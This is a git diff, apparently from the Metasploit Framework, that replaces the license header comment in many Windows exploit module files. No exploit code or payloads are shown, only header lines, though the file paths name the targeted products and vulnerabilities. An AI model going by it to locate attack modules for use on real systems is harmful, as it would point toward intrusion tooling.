a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 33a2812f47..23f49612e6 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb index cce98ee281..f9666452c4 100644 --- a/modules/exploits/windows/browser/winamp_playlist_unc.rb +++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb index 8a6505c563..a78b9a22c8 100644 --- a/modules/exploits/windows/browser/winamp_ultravox.rb +++ b/modules/exploits/windows/browser/winamp_ultravox.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb index 59c44c9978..0a478b574b 100644 --- a/modules/exploits/windows/browser/windvd7_applicationtype.rb +++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index d0253bb7d4..0dbceb57f6 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 7aa7653ead..03a29e6848 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index 727310a931..9a5039992f 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb index 8104ef0e10..2a97af59a7 100644 --- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb +++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index 4313df03c1..4dabd6565c 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb index 4ec2c233ad..4358de3fea 100644 --- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb +++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 93e061ef15..d418ac78e4 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index f4d6f0ff58..a8ef64e651 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index 56b4e9d30b..5805029a6b 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb index c20e7d18da..056a6d768b 100644 --- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index 87b124e826..d715f5b6b1 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/driver/broadcom_wifi_ssid.rb b/modules/exploits/windows/driver/broadcom_wifi_ssid.rb index ddd4cbcf90..cd79410a86 100644 --- a/modules/exploits/windows/driver/broadcom_wifi_ssid.rb +++ b/modules/exploits/windows/driver/broadcom_wifi_ssid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/driver/dlink_wifi_rates.rb b/modules/exploits/windows/driver/dlink_wifi_rates.rb index da554e4fe4..5184b77bc4 100644 --- a/modules/exploits/windows/driver/dlink_wifi_rates.rb +++ b/modules/exploits/windows/driver/dlink_wifi_rates.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/driver/netgear_wg111_beacon.rb b/modules/exploits/windows/driver/netgear_wg111_beacon.rb index 29e24ff069..05b705e909 100644 --- a/modules/exploits/windows/driver/netgear_wg111_beacon.rb +++ b/modules/exploits/windows/driver/netgear_wg111_beacon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index ab850a3d7a..aa3c44ad24 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index 9ebb6842f9..b8f622c28b 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index 22c843930c..6b79c11564 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb index 94ac0959f7..121debaf69 100644 --- a/modules/exploits/windows/emc/alphastor_agent.rb +++ b/modules/exploits/windows/emc/alphastor_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index 1dd72e4ca8..af69dbf56e 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb index 64f5bbd398..c331c20eee 100644 --- a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb index f9b8b3843d..34c0e3be56 100644 --- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb index 081e087988..d169f77e6d 100644 --- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb +++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb index 74ae5c5a03..bc02e9af0a 100644 --- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb +++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb index 78c089da90..b853661b63 100644 --- a/modules/exploits/windows/fileformat/acdsee_xpm.rb +++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 4fc3b34f14..70e84fc5da 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb index dcfcaea856..7e57d22a96 100644 --- a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb +++ b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb index 604fb462a4..9cf64fcc4e 100644 --- a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb +++ b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index 8741a345ca..d4645d71db 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 3cec2b1b21..c8987ac787 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index b5a281eed7..45c40a167b 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index f6ef7c2fe8..0c410514b2 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index e3385019ab..19d19c24f1 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/pdf' diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index 7ca140c6bb..4b564d8b7d 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index 78a4ac2b0d..94844555a8 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index 287d5d042b..859224987a 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb index 3485fc84d0..b97df72a0d 100644 --- a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb +++ b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 68aee5b226..85ec1cfdfd 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb index e902618078..0fbb238e27 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index d2d85c4ea7..4856058e0a 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb index cc8a1c9923..7ae18b24a8 100644 --- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb +++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/adobe_utilprintf.rb b/modules/exploits/windows/fileformat/adobe_utilprintf.rb index c4b165ed8a..720eca22d4 100644 --- a/modules/exploits/windows/fileformat/adobe_utilprintf.rb +++ b/modules/exploits/windows/fileformat/adobe_utilprintf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb index 2445827fed..0168144072 100644 --- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb +++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb index 6cf9ee6c9f..7e63468c49 100644 --- a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb +++ b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/aol_phobos_bof.rb b/modules/exploits/windows/fileformat/aol_phobos_bof.rb index 53a760a2ad..9b4f8acaa6 100644 --- a/modules/exploits/windows/fileformat/aol_phobos_bof.rb +++ b/modules/exploits/windows/fileformat/aol_phobos_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb index 37d9a0dbe3..108c613ea8 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index 2449026340..04f07dc698 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb 